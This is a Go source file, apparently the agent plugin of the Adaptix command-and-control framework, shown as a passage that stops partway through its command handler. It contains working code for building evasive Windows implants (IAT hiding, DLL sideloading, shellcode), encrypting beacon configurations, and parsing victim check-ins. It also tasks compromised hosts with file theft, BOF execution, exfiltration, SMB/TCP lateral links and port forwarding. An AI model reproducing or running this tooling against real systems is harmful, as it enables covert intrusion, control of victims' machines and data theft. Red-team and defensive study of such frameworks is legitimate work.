2026-04-06 00:20:51 -05:00

2492 lines
69 KiB
Go

package main
import (
"encoding/base64"
"encoding/binary"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"io"
"math/rand/v2"
"net"
"os"
"sort"
"strconv"
"strings"
"time"
"github.com/Adaptix-Framework/axc2"
)
type Teamserver interface {
TsListenerInteralHandler(watermark string, data []byte) (string, error)
TsAgentProcessData(agentId string, bodyData []byte) error
TsAgentUpdateData(newAgentData adaptix.AgentData) error
TsAgentTerminate(agentId string, terminateTaskId string) error
TsAgentUpdateDataPartial(agentId string, updateData interface{}) error
TsAgentBuildExecute(builderId string, workingDir string, program string, args ...string) error
TsAgentBuildLog(builderId string, status int, message string) error
TsAgentConsoleOutput(agentId string, messageType int, message string, clearText string, store bool)
TsPivotCreate(pivotId string, pAgentId string, chAgentId string, pivotName string, isRestore bool) error
TsGetPivotInfoByName(pivotName string) (string, string, string)
TsGetPivotInfoById(pivotId string) (string, string, string)
TsPivotDelete(pivotId string) error
TsTaskCreate(agentId string, cmdline string, client string, taskData adaptix.TaskData)
TsTaskUpdate(agentId string, data adaptix.TaskData)
TsTaskGetAvailableAll(agentId string, availableSize int) ([]adaptix.TaskData, error)
TsDownloadAdd(agentId string, fileId string, fileName string, fileSize int64) error
TsDownloadUpdate(fileId string, state int, data []byte) error
TsDownloadClose(fileId string, reason int) error
TsDownloadSave(agentId string, fileId string, filename string, content []byte) error
TsScreenshotAdd(agentId string, Note string, Content []byte) error
TsClientGuiDisksWindows(taskData adaptix.TaskData, drives []adaptix.ListingDrivesDataWin)
TsClientGuiFilesStatus(taskData adaptix.TaskData)
TsClientGuiFilesWindows(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataWin)
TsClientGuiFilesUnix(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataUnix)
TsClientGuiProcessWindows(taskData adaptix.TaskData, process []adaptix.ListingProcessDataWin)
TsClientGuiProcessUnix(taskData adaptix.TaskData, process []adaptix.ListingProcessDataUnix)
TsTunnelStart(TunnelId string) (string, error)
TsTunnelCreateSocks4(AgentId string, Info string, Lhost string, Lport int) (string, error)
TsTunnelCreateSocks5(AgentId string, Info string, Lhost string, Lport int, UseAuth bool, Username string, Password string) (string, error)
TsTunnelCreateLportfwd(AgentId string, Info string, Lhost string, Lport int, Thost string, Tport int) (string, error)
TsTunnelCreateRportfwd(AgentId string, Info string, Lport int, Thost string, Tport int) (string, error)
TsTunnelUpdateRportfwd(tunnelId int, result bool) (string, string, error)
TsTunnelStopSocks(AgentId string, Port int)
TsTunnelStopLportfwd(AgentId string, Port int)
TsTunnelStopRportfwd(AgentId string, Port int)
TsTunnelConnectionClose(channelId int, writeOnly bool)
TsTunnelConnectionHalt(channelId int, errorCode byte)
TsTunnelConnectionResume(AgentId string, channelId int, ioDirect bool)
TsTunnelConnectionData(channelId int, data []byte)
TsTunnelConnectionAccept(tunnelId int, channelId int)
TsTunnelPause(channelId int)
TsTunnelResume(channelId int)
TsTerminalConnExists(terminalId string) bool
TsTerminalGetPipe(AgentId string, terminalId string) (*io.PipeReader, *io.PipeWriter, error)
TsTerminalConnResume(agentId string, terminalId string, ioDirect bool)
TsTerminalConnData(terminalId string, data []byte)
TsTerminalConnClose(terminalId string, status string) error
TsConvertCpToUTF8(input string, codePage int) string
TsConvertUTF8toCp(input string, codePage int) string
TsWin32Error(errorCode uint) string
}
type PluginAgent struct{}
type ExtenderAgent struct{}
var (
Ts Teamserver
ModuleDir string
AgentWatermark string
)
func InitPlugin(ts any, moduleDir string, watermark string) adaptix.PluginAgent {
ModuleDir = moduleDir
AgentWatermark = watermark
Ts = ts.(Teamserver)
return &PluginAgent{}
}
func (p *PluginAgent) GetExtender() adaptix.ExtenderAgent {
return &ExtenderAgent{}
}
func makeProxyTask(packData []byte) adaptix.TaskData {
return adaptix.TaskData{Type: adaptix.TASK_TYPE_PROXY_DATA, Data: packData, Sync: false}
}
func getStringArg(args map[string]any, key string) (string, error) {
v, ok := args[key].(string)
if !ok {
return "", fmt.Errorf("parameter '%s' must be set", key)
}
return v, nil
}
func getFloatArg(args map[string]any, key string) (float64, error) {
v, ok := args[key].(float64)
if !ok {
return 0, fmt.Errorf("parameter '%s' must be set", key)
}
return v, nil
}
func getBoolArg(args map[string]any, key string) bool {
v, _ := args[key].(bool)
return v
}
/// TUNNEL
func (ext *ExtenderAgent) TunnelCallbacks() adaptix.TunnelCallbacks {
return adaptix.TunnelCallbacks{
ConnectTCP: TunnelMessageConnectTCP,
ConnectUDP: TunnelMessageConnectUDP,
WriteTCP: TunnelMessageWriteTCP,
WriteUDP: TunnelMessageWriteUDP,
Pause: TunnelMessagePause,
Resume: TunnelMessageResume,
Close: TunnelMessageClose,
Reverse: TunnelMessageReverse,
}
}
func TunnelMessageConnectTCP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData {
var packData []byte
/// START CODE HERE
array := []interface{}{COMMAND_TUNNEL_START_TCP, channelId, tunnelType, address, port}
packData, _ = PackArray(array)
/// END CODE HERE
return makeProxyTask(packData)
}
func TunnelMessageConnectUDP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData {
var packData []byte
/// START CODE HERE
array := []interface{}{COMMAND_TUNNEL_START_UDP, channelId, address, port}
packData, _ = PackArray(array)
/// END CODE HERE
return makeProxyTask(packData)
}
func TunnelMessageWriteTCP(channelId int, data []byte) adaptix.TaskData {
var packData []byte
/// START CODE HERE
array := []interface{}{COMMAND_TUNNEL_WRITE_TCP, channelId, len(data), data}
packData, _ = PackArray(array)
/// END CODE HERE
return makeProxyTask(packData)
}
func TunnelMessageWriteUDP(channelId int, data []byte) adaptix.TaskData {
var packData []byte
/// START CODE HERE
array := []interface{}{COMMAND_TUNNEL_WRITE_UDP, channelId, len(data), data}
packData, _ = PackArray(array)
/// END CODE HERE
return makeProxyTask(packData)
}
func TunnelMessagePause(channelId int) adaptix.TaskData {
var packData []byte
/// START CODE HERE
array := []interface{}{COMMAND_TUNNEL_PAUSE, channelId}
packData, _ = PackArray(array)
/// END CODE HERE
return makeProxyTask(packData)
}
func TunnelMessageResume(channelId int) adaptix.TaskData {
var packData []byte
/// START CODE HERE
array := []interface{}{COMMAND_TUNNEL_RESUME, channelId}
packData, _ = PackArray(array)
/// END CODE HERE
return makeProxyTask(packData)
}
func TunnelMessageClose(channelId int) adaptix.TaskData {
var packData []byte
/// START CODE HERE
array := []interface{}{COMMAND_TUNNEL_CLOSE, channelId}
packData, _ = PackArray(array)
/// END CODE HERE
return makeProxyTask(packData)
}
func TunnelMessageReverse(tunnelId int, port int) adaptix.TaskData {
var packData []byte
/// START CODE HERE
array := []interface{}{COMMAND_TUNNEL_REVERSE, tunnelId, port}
packData, _ = PackArray(array)
/// END CODE HERE
return makeProxyTask(packData)
}
/// TERMINAL
func (ext *ExtenderAgent) TerminalCallbacks() adaptix.TerminalCallbacks {
return adaptix.TerminalCallbacks{
Start: TerminalMessageStart,
Write: TerminalMessageWrite,
Close: TerminalMessageClose,
}
}
func TerminalMessageStart(terminalId int, program string, sizeH int, sizeW int, oemCP int) adaptix.TaskData {
var packData []byte
/// START CODE HERE
programArgs := Ts.TsConvertUTF8toCp(program, oemCP)
array := []interface{}{COMMAND_SHELL_START, terminalId, programArgs}
packData, _ = PackArray(array)
/// END CODE HERE
return makeProxyTask(packData)
}
func TerminalMessageWrite(terminalId int, oemCP int, data []byte) adaptix.TaskData {
var packData []byte
/// START CODE HERE
dataEncode := Ts.TsConvertUTF8toCp(string(data), oemCP)
if oemCP > 0 {
dataEncode = strings.ReplaceAll(dataEncode, "\n", "\r\n")
}
array := []interface{}{COMMAND_SHELL_WRITE, terminalId, len(dataEncode), []byte(dataEncode)}
packData, _ = PackArray(array)
/// END CODE HERE
return makeProxyTask(packData)
}
func TerminalMessageClose(terminalId int) adaptix.TaskData {
var packData []byte
/// START CODE HERE
array := []interface{}{COMMAND_JOBS_KILL, terminalId}
packData, _ = PackArray(array)
/// END CODE HERE
return makeProxyTask(packData)
}
////// PLUGIN AGENT
type GenerateConfig struct {
Os string `json:"os"`
Arch string `json:"arch"`
Format string `json:"format"`
Sleep string `json:"sleep"`
Jitter int `json:"jitter"`
SvcName string `json:"svcname"`
IsKillDate bool `json:"is_killdate"`
Killdate string `json:"kill_date"`
Killtime string `json:"kill_time"`
IsWorkingTime bool `json:"is_workingtime"`
StartTime string `json:"start_time"`
EndTime string `json:"end_time"`
IatHiding bool `json:"iat_hiding"`
IsSideloading bool `json:"is_sideloading"`
SideloadingContent string `json:"sideloading_content"`
DnsResolvers string `json:"dns_resolvers"`
DohResolvers string `json:"doh_resolvers"`
DnsMode string `json:"dns_mode"`
UserAgent string `json:"user_agent"`
UseProxy bool `json:"use_proxy"`
ProxyType string `json:"proxy_type"`
ProxyHost string `json:"proxy_host"`
ProxyPort int `json:"proxy_port"`
ProxyUsername string `json:"proxy_username"`
ProxyPassword string `json:"proxy_password"`
RotationMode string `json:"rotation_mode"`
}
var (
ObjectDir_http = "objects_http"
ObjectDir_smb = "objects_smb"
ObjectDir_tcp = "objects_tcp"
ObjectDir_dns = "objects_dns"
ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "bof_loader", "Boffer", "Commander", "crt", "Crypt", "Downloader", "Encoders", "JobsController", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", "Proxyfire", "std", "utils", "WaitMask"}
CFlags = "-c -fno-builtin -fno-unwind-tables -fno-strict-aliasing -fno-ident -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables -fno-strict-overflow -fno-delete-null-pointer-checks -fpermissive -w -masm=intel -fPIC"
LFlags = "-Os -s -Wl,-s,--gc-sections -static-libgcc -mwindows"
)
func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) {
var agentProfiles [][]byte
for _, transportProfile := range profile.ListenerProfiles {
var listenerMap map[string]any
if err := json.Unmarshal(transportProfile.Profile, &listenerMap); err != nil {
return nil, err
}
/// START CODE HERE
var (
generateConfig GenerateConfig
params []interface{}
)
err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig)
if err != nil {
return nil, err
}
agentWatermark, err := strconv.ParseInt(AgentWatermark, 16, 64)
if err != nil {
return nil, err
}
kill_date := 0
if generateConfig.IsKillDate {
dt := generateConfig.Killdate + " " + generateConfig.Killtime
t, err := time.Parse("02.01.2006 15:04:05", dt)
if err != nil {
err = errors.New("Invalid date format, use: 'DD.MM.YYYY hh:mm:ss'")
return nil, err
}
kill_date = int(t.Unix())
}
working_time := 0
if generateConfig.IsWorkingTime {
t := generateConfig.StartTime + "-" + generateConfig.EndTime
working_time, err = parseStringToWorkingTime(t)
if err != nil {
return nil, err
}
}
sleepSeconds, err := parseDurationToSeconds(generateConfig.Sleep)
if err != nil {
return nil, err
}
lWatermark, _ := strconv.ParseInt(transportProfile.Watermark, 16, 64)
encrypt_key, _ := listenerMap["encrypt_key"].(string)
encryptKey, err := hex.DecodeString(encrypt_key)
if err != nil {
return nil, err
}
params = append(params, int(agentWatermark))
params = append(params, kill_date)
params = append(params, working_time)
params = append(params, sleepSeconds)
params = append(params, generateConfig.Jitter)
params = append(params, int(lWatermark))
protocol, _ := listenerMap["protocol"].(string)
switch protocol {
case "http":
lines, _ := listenerMap["callback_addresses"].([]interface{})
UriRaw, _ := listenerMap["uri"].([]interface{})
UserAgentRaw, _ := listenerMap["user_agent"].([]interface{})
HostHeaderRaw, _ := listenerMap["host_header"].([]interface{})
HttpMethod, _ := listenerMap["http_method"].(string)
Ssl, _ := listenerMap["ssl"].(bool)
ParameterName, _ := listenerMap["hb_header"].(string)
RequestHeaders, _ := listenerMap["request_headers"].(string)
var Hosts []string
var Ports []int
for _, i_line := range lines {
line := strings.TrimSpace(i_line.(string))
if line == "" {
continue
}
host, portStr, _ := net.SplitHostPort(line)
port, _ := strconv.Atoi(portStr)
Hosts = append(Hosts, host)
Ports = append(Ports, port)
}
c2Count := len(Hosts)
var Uris []string
for _, i_line := range UriRaw {
u := strings.TrimSpace(i_line.(string))
if u != "" {
Uris = append(Uris, u)
}
}
var UserAgents []string
for _, i_line := range UserAgentRaw {
ua := strings.TrimSpace(i_line.(string))
if ua != "" {
UserAgents = append(UserAgents, ua)
}
}
var HostHeaders []string
for _, i_line := range HostHeaderRaw {
hh := strings.TrimSpace(i_line.(string))
if hh != "" {
HostHeaders = append(HostHeaders, hh)
}
}
WebPageOutput, _ := listenerMap["page-payload"].(string)
ansOffset1 := strings.Index(WebPageOutput, "<<<PAYLOAD_DATA>>>")
ansOffset2 := len(WebPageOutput[ansOffset1+len("<<<PAYLOAD_DATA>>>"):])
rotationMode := 0 // 0=sequential, 1=random
if generateConfig.RotationMode == "random" {
rotationMode = 1
}
params = append(params, Ssl)
params = append(params, c2Count)
for i := 0; i < c2Count; i++ {
params = append(params, Hosts[i])
params = append(params, Ports[i])
}
params = append(params, HttpMethod)
params = append(params, len(Uris))
for _, u := range Uris {
params = append(params, u)
}
params = append(params, ParameterName)
params = append(params, len(UserAgents))
for _, ua := range UserAgents {
params = append(params, ua)
}
params = append(params, RequestHeaders)
params = append(params, ansOffset1)
params = append(params, ansOffset2)
params = append(params, len(HostHeaders))
for _, hh := range HostHeaders {
params = append(params, hh)
}
params = append(params, rotationMode)
proxyType := 0 // 0=none, 1=http, 2=https
if generateConfig.UseProxy {
if generateConfig.ProxyType == "https" {
proxyType = 2
} else {
proxyType = 1 // default to http
}
}
params = append(params, proxyType)
params = append(params, generateConfig.ProxyHost)
params = append(params, generateConfig.ProxyPort)
params = append(params, generateConfig.ProxyUsername)
params = append(params, generateConfig.ProxyPassword)
case "bind_smb":
pipename, _ := listenerMap["pipename"].(string)
pipename = "\\\\.\\pipe\\" + pipename
params = append(params, pipename)
case "bind_tcp":
prepend, _ := listenerMap["prepend_data"].(string)
port, _ := listenerMap["port_bind"].(float64)
params = append(params, prepend)
params = append(params, int(port))
case "dns":
userAgent := generateConfig.UserAgent
if userAgent == "" {
userAgent = "Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0"
}
params, err = buildDNSProfileParams(generateConfig, listenerMap, userAgent)
if err != nil {
return nil, err
}
default:
return nil, errors.New("protocol unknown")
}
packedParams, err := PackArray(params)
if err != nil {
return nil, err
}
cryptParams, err := RC4Crypt(packedParams, encryptKey)
if err != nil {
return nil, err
}
profileArray := []interface{}{len(cryptParams), cryptParams, encryptKey}
packedProfile, err := PackArray(profileArray)
if err != nil {
return nil, err
}
profileString := ""
for _, b := range packedProfile {
profileString += fmt.Sprintf("\\x%02x", b)
}
agentProfiles = append(agentProfiles, []byte(profileString))
/// END CODE HERE
}
return agentProfiles, nil
}
func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [][]byte) ([]byte, string, error) {
var (
Filename string
Payload []byte
)
/// START CODE HERE
if len(profile.ListenerProfiles) != 1 || len(agentProfiles) != 1 {
return nil, "", errors.New("only one listener profile is supported")
}
listenerProfile := profile.ListenerProfiles[0].Profile
agentProfile := agentProfiles[0]
var listenerMap map[string]any
if err := json.Unmarshal(listenerProfile, &listenerMap); err != nil {
return nil, "", err
}
var (
generateConfig GenerateConfig
ConnectorFile string
ObjectDir string
Compiler string
Ext string
stubPath string
buildPath string
cmdConfig string
)
cFlags := CFlags
lFlags := LFlags
postLibs := ""
err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig)
if err != nil {
return nil, "", err
}
// IAT Hiding: -nostdlib eliminates CRT, custom crt.cpp provides replacements
if generateConfig.IatHiding {
cFlags += " -DIAT_HIDING"
lFlags += " -nostdlib -nostartfiles -nodefaultlibs"
}
currentDir := ModuleDir
tempDir, err := os.MkdirTemp("", "ax-*")
if err != nil {
return nil, "", err
}
protocol, _ := listenerMap["protocol"].(string)
if protocol == "http" {
ObjectDir = ObjectDir_http
ConnectorFile = "ConnectorHTTP"
} else if protocol == "bind_smb" {
ObjectDir = ObjectDir_smb
ConnectorFile = "ConnectorSMB"
} else if protocol == "bind_tcp" {
ObjectDir = ObjectDir_tcp
ConnectorFile = "ConnectorTCP"
} else if protocol == "dns" {
ObjectDir = ObjectDir_dns
ConnectorFile = "ConnectorDNS"
} else {
return nil, "", errors.New("protocol unknown")
}
_ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Protocol: %s, Connector: %s", protocol, ConnectorFile))
if generateConfig.Arch == "x86" {
Compiler = "i686-w64-mingw32-g++"
Ext = ".x86.o"
stubPath = currentDir + "/" + ObjectDir + "/stub.x86.bin"
Filename = "agent.x86"
} else {
Compiler = "x86_64-w64-mingw32-g++"
Ext = ".x64.o"
stubPath = currentDir + "/" + ObjectDir + "/stub.x64.bin"
Filename = "agent.x64"
}
svcName := ""
for _, char := range generateConfig.SvcName {
svcName += fmt.Sprintf("\\x%02x", char)
}
agentProfileSize := len(agentProfile) / 4
if generateConfig.Format == "Service Exe" {
cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DBUILD_SVC -DSERVICE_NAME='\"%s\"' -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d -o %s/config.o", Compiler, cFlags, ObjectDir, svcName, string(agentProfile), agentProfileSize, tempDir)
} else {
cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d -o %s/config.o", Compiler, cFlags, ObjectDir, string(agentProfile), agentProfileSize, tempDir)
}
_ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling configuration...")
var buildArgsConfig []string
buildArgsConfig = append(buildArgsConfig, "-c", cmdConfig)
err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", buildArgsConfig...)
if err != nil {
_ = os.RemoveAll(tempDir)
return nil, "", err
}
_ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "Configuration compiled successfully")
Files := tempDir + "/config.o "
Files += ObjectDir + "/" + ConnectorFile + Ext + " "
for _, ofile := range ObjectFiles {
Files += ObjectDir + "/" + ofile + Ext + " "
}
if protocol == "dns" {
Files = appendDNSObjectFiles(Files, ObjectDir, Ext)
}
if generateConfig.Format == "Exe" {
Files += ObjectDir + "/main" + Ext
buildPath = tempDir + "/file.exe"
Filename += ".exe"
if generateConfig.IatHiding {
if generateConfig.Arch == "x86" {
lFlags += " -Wl,-e,_WinMain@16"
} else {
lFlags += " -Wl,-e,WinMain"
}
}
} else if generateConfig.Format == "Service Exe" {
Files += ObjectDir + "/main_service" + Ext
buildPath = tempDir + "/svc.exe"
Filename = "svc_" + Filename + ".exe"
if generateConfig.IatHiding {
postLibs += " -ladvapi32"
if generateConfig.Arch == "x86" {
lFlags += " -Wl,-e,_main"
} else {
lFlags += " -Wl,-e,main"
}
}
} else if generateConfig.Format == "DLL" {
Files += ObjectDir + "/main_dll" + Ext
lFlags += " -shared"
buildPath = tempDir + "/file.dll"
Filename += ".dll"
if generateConfig.IatHiding {
postLibs += " -lkernel32"
if generateConfig.Arch == "x86" {
lFlags += " -Wl,-e,_DllMain@12"
} else {
lFlags += " -Wl,-e,DllMain"
}
}
if generateConfig.IsSideloading {
sideloadingContent, err := base64.StdEncoding.DecodeString(generateConfig.SideloadingContent)
if err != nil {
return nil, "", errors.New("unknown sideloading DLL format")
}
defPath, err := CreateDefinitionFile(sideloadingContent, tempDir)
if err != nil {
return nil, "", err
}
lFlags += " " + defPath
}
} else if generateConfig.Format == "Shellcode" {
Files += ObjectDir + "/main_shellcode" + Ext
lFlags += " -shared"
buildPath = tempDir + "/file.dll"
Filename += ".bin"
if generateConfig.IatHiding {
if generateConfig.Arch == "x86" {
lFlags += " -Wl,-e,_DllMain@12"
} else {
lFlags += " -Wl,-e,DllMain"
}
}
} else {
_ = os.RemoveAll(tempDir)
return nil, "", errors.New("unknown file format")
}
_ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Output format: %s, Filename: %s", generateConfig.Format, Filename))
_ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Linking payload...")
var buildArgs []string
buildArgs = append(buildArgs, strings.Fields(lFlags)...)
buildArgs = append(buildArgs, strings.Fields(Files)...)
if postLibs != "" {
buildArgs = append(buildArgs, strings.Fields(postLibs)...)
}
buildArgs = append(buildArgs, "-o", buildPath)
err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, Compiler, buildArgs...)
if err != nil {
_ = os.RemoveAll(tempDir)
return nil, "", err
}
buildContent, err := os.ReadFile(buildPath)
if err != nil {
return nil, "", err
}
_ = os.RemoveAll(tempDir)
if generateConfig.Format == "Shellcode" {
stubContent, err := os.ReadFile(stubPath)
if err != nil {
return nil, "", err
}
Payload = append(stubContent, buildContent...)
} else {
Payload = buildContent
}
_ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes", len(Payload)))
/// END CODE HERE
return Payload, Filename, nil
}
func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.ExtenderAgent, error) {
var agentData adaptix.AgentData
/// START CODE HERE
packer := CreatePacker(beat)
if false == packer.CheckPacker([]string{"int", "int", "int", "int", "word", "word", "byte", "word", "word", "int", "byte", "byte", "int", "byte", "array", "array", "array", "array", "array"}) {
return agentData, nil, errors.New("error agentData data")
}
agentData.Sleep = packer.ParseInt32()
agentData.Jitter = packer.ParseInt32()
agentData.KillDate = int(packer.ParseInt32())
agentData.WorkingTime = int(packer.ParseInt32())
agentData.ACP = int(packer.ParseInt16())
agentData.OemCP = int(packer.ParseInt16())
agentData.GmtOffset = int(packer.ParseInt8())
agentData.Pid = fmt.Sprintf("%v", packer.ParseInt16())
agentData.Tid = fmt.Sprintf("%v", packer.ParseInt16())
buildNumber := packer.ParseInt32()
majorVersion := packer.ParseInt8()
minorVersion := packer.ParseInt8()
internalIp := packer.ParseInt32()
flag := packer.ParseInt8()
agentData.Arch = "x32"
if (flag & 0b00000001) > 0 {
agentData.Arch = "x64"
}
systemArch := "x32"
if (flag & 0b00000010) > 0 {
systemArch = "x64"
}
agentData.Elevated = false
if (flag & 0b00000100) > 0 {
agentData.Elevated = true
}
IsServer := false
if (flag & 0b00001000) > 0 {
IsServer = true
}
agentData.InternalIP = int32ToIPv4(internalIp)
agentData.Os, agentData.OsDesc = GetOsVersion(majorVersion, minorVersion, buildNumber, IsServer, systemArch)
agentData.SessionKey = packer.ParseBytes()
agentData.Domain = string(packer.ParseBytes())
agentData.Computer = string(packer.ParseBytes())
agentData.Username = Ts.TsConvertCpToUTF8(string(packer.ParseBytes()), agentData.ACP)
agentData.Process = Ts.TsConvertCpToUTF8(string(packer.ParseBytes()), agentData.ACP)
/// END CODE
return agentData, &ExtenderAgent{}, nil
}
// Extender methods
func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) {
/// START CODE
return RC4Crypt(data, key)
/// END CODE
}
func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) {
/// START CODE
return RC4Crypt(data, key)
/// END CODE
}
func (ext *ExtenderAgent) PackTasks(agentData adaptix.AgentData, tasks []adaptix.TaskData) ([]byte, error) {
var packData []byte
/// START CODE HERE
var (
array []interface{}
err error
)
for _, taskData := range tasks {
taskId, err := strconv.ParseInt(taskData.TaskId, 16, 64)
if err != nil {
return nil, err
}
array = append(array, taskData.Data)
array = append(array, int(taskId))
}
packData, err = PackArray(array)
if err != nil {
return nil, err
}
size := make([]byte, 4)
binary.LittleEndian.PutUint32(size, uint32(len(packData)))
packData = append(size, packData...)
/// END CODE
return packData, nil
}
func (ext *ExtenderAgent) PivotPackData(pivotId string, data []byte) (adaptix.TaskData, error) {
var (
packData []byte
err error = nil
)
/// START CODE HERE
id, _ := strconv.ParseInt(pivotId, 16, 64)
array := []interface{}{COMMAND_PIVOT_EXEC, int(id), len(data), data}
packData, _ = PackArray(array)
/// END CODE
taskData := adaptix.TaskData{
TaskId: fmt.Sprintf("%08x", rand.Uint32()),
Type: adaptix.TASK_TYPE_PROXY_DATA,
Data: packData,
Sync: false,
}
return taskData, err
}
func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) {
var (
taskData adaptix.TaskData
messageData adaptix.ConsoleMessageData
err error
)
command, ok := args["command"].(string)
if !ok {
return taskData, messageData, errors.New("'command' must be set")
}
subcommand, _ := args["subcommand"].(string)
taskData = adaptix.TaskData{
Type: adaptix.TASK_TYPE_TASK,
Sync: true,
}
messageData = adaptix.ConsoleMessageData{
Status: adaptix.MESSAGE_INFO,
Text: "",
}
messageData.Message, _ = args["message"].(string)
/// START CODE HERE
var array []interface{}
switch command {
case "cat":
var path string
path, err = getStringArg(args, "path")
if err != nil {
goto RET
}
array = []interface{}{COMMAND_CAT, Ts.TsConvertUTF8toCp(path, agentData.ACP)}
case "cd":
var path string
path, err = getStringArg(args, "path")
if err != nil {
goto RET
}
array = []interface{}{COMMAND_CD, Ts.TsConvertUTF8toCp(path, agentData.ACP)}
case "cp":
var src string
var dst string
src, err = getStringArg(args, "src")
if err != nil {
goto RET
}
dst, err = getStringArg(args, "dst")
if err != nil {
goto RET
}
array = []interface{}{COMMAND_COPY, Ts.TsConvertUTF8toCp(src, agentData.ACP), Ts.TsConvertUTF8toCp(dst, agentData.ACP)}
case "disks":
array = []interface{}{COMMAND_DISKS}
case "download":
var path string
path, err = getStringArg(args, "file")
if err != nil {
goto RET
}
array = []interface{}{COMMAND_DOWNLOAD, Ts.TsConvertUTF8toCp(path, agentData.ACP)}
case "execute":
if subcommand == "bof" {
var bofFile string
var bofContent []byte
var params []byte
taskData.Type = adaptix.TASK_TYPE_JOB
async := getBoolArg(args, "-a")
bofFile, err = getStringArg(args, "bof")
if err != nil {
goto RET
}
bofContent, err := base64.StdEncoding.DecodeString(bofFile)
if err != nil {
goto RET
}
paramData, ok := args["param_data"].(string)
if ok {
params, err = base64.StdEncoding.DecodeString(paramData)
if err != nil {
params = []byte(paramData)
params = append(params, 0)
}
}
array = []interface{}{COMMAND_EXEC_BOF, async, "go", len(bofContent), bofContent, len(params), params}
} else {
err = errors.New("subcommand must be 'bof'")
goto RET
}
case "exfil":
var fid string
var fileId int64
fid, err = getStringArg(args, "file_id")
if err != nil {
goto RET
}
fileId, err = strconv.ParseInt(fid, 16, 64)
if err != nil {
goto RET
}
if subcommand == "cancel" {
array = []interface{}{COMMAND_EXFIL, adaptix.DOWNLOAD_STATE_CANCELED, int(fileId)}
} else if subcommand == "stop" {
array = []interface{}{COMMAND_EXFIL, adaptix.DOWNLOAD_STATE_STOPPED, int(fileId)}
} else if subcommand == "start" {
array = []interface{}{COMMAND_EXFIL, adaptix.DOWNLOAD_STATE_RUNNING, int(fileId)}
} else {
err = errors.New("subcommand must be 'cancel', 'start' or 'stop'")
goto RET
}
case "getuid":
array = []interface{}{COMMAND_GETUID}
case "jobs":
if subcommand == "list" {
array = []interface{}{COMMAND_JOB_LIST}
} else if subcommand == "kill" {
var job string
var jobId int64
job, err = getStringArg(args, "task_id")
if err != nil {
goto RET
}
jobId, err = strconv.ParseInt(job, 16, 64)
if err != nil {
goto RET
}
array = []interface{}{COMMAND_JOBS_KILL, int(jobId)}
} else {
err = errors.New("subcommand must be 'list' or 'kill'")
goto RET
}
case "link":
if subcommand == "smb" {
var target string
var pipename string
target, err = getStringArg(args, "target")
if err != nil {
goto RET
}
pipename, err = getStringArg(args, "pipename")
if err != nil {
goto RET
}
pipe := fmt.Sprintf("\\\\%s\\pipe\\%s", target, pipename)
array = []interface{}{COMMAND_LINK, 1, pipe}
} else if subcommand == "tcp" {
var target string
var port float64
target, err = getStringArg(args, "target")
if err != nil {
goto RET
}
port, err = getFloatArg(args, "port")
if err != nil {
goto RET
}
array = []interface{}{COMMAND_LINK, 2, target, int(port)}
} else {
err = errors.New("subcommand must be 'smb' or 'tcp'")
goto RET
}
case "ls":
var dir string
dir, err = getStringArg(args, "path")
if err != nil {
goto RET
}
array = []interface{}{COMMAND_LS, Ts.TsConvertUTF8toCp(dir, agentData.ACP)}
case "lportfwd":
taskData.Type = adaptix.TASK_TYPE_TUNNEL
lportNumber, _ := getFloatArg(args, "lport")
lport := int(lportNumber)
if lport < 1 || lport > 65535 {
err = errors.New("port must be from 1 to 65535")
goto RET
}
if subcommand == "start" {
var lhost string
var fhost string
var tunnelId string
lhost, err = getStringArg(args, "lhost")
if err != nil {
goto RET
}
fhost, err = getStringArg(args, "fwdhost")
if err != nil {
goto RET
}
fportNumber, _ := getFloatArg(args, "fwdport")
fport := int(fportNumber)
if fport < 1 || fport > 65535 {
err = errors.New("port must be from 1 to 65535")
goto RET
}
tunnelId, err = Ts.TsTunnelCreateLportfwd(agentData.Id, "", lhost, lport, fhost, fport)
if err != nil {
goto RET
}
taskData.TaskId, err = Ts.TsTunnelStart(tunnelId)
if err != nil {
goto RET
}
taskData.Message = fmt.Sprintf("Started local port forwarding on %s:%d to %s:%d", lhost, lport, fhost, fport)
taskData.MessageType = adaptix.MESSAGE_SUCCESS
taskData.ClearText = "\n"
} else if subcommand == "stop" {
taskData.Completed = true
Ts.TsTunnelStopLportfwd(agentData.Id, lport)
taskData.Message = fmt.Sprintf("Local port forwarding on %d stopped", lport)
taskData.MessageType = adaptix.MESSAGE_SUCCESS
taskData.ClearText = "\n"
} else {
err = errors.New("subcommand must be 'start' or 'stop'")
goto RET
}
case "mv":
var src string
var dst string
src, err = getStringArg(args, "src")
if err != nil {
goto RET
}
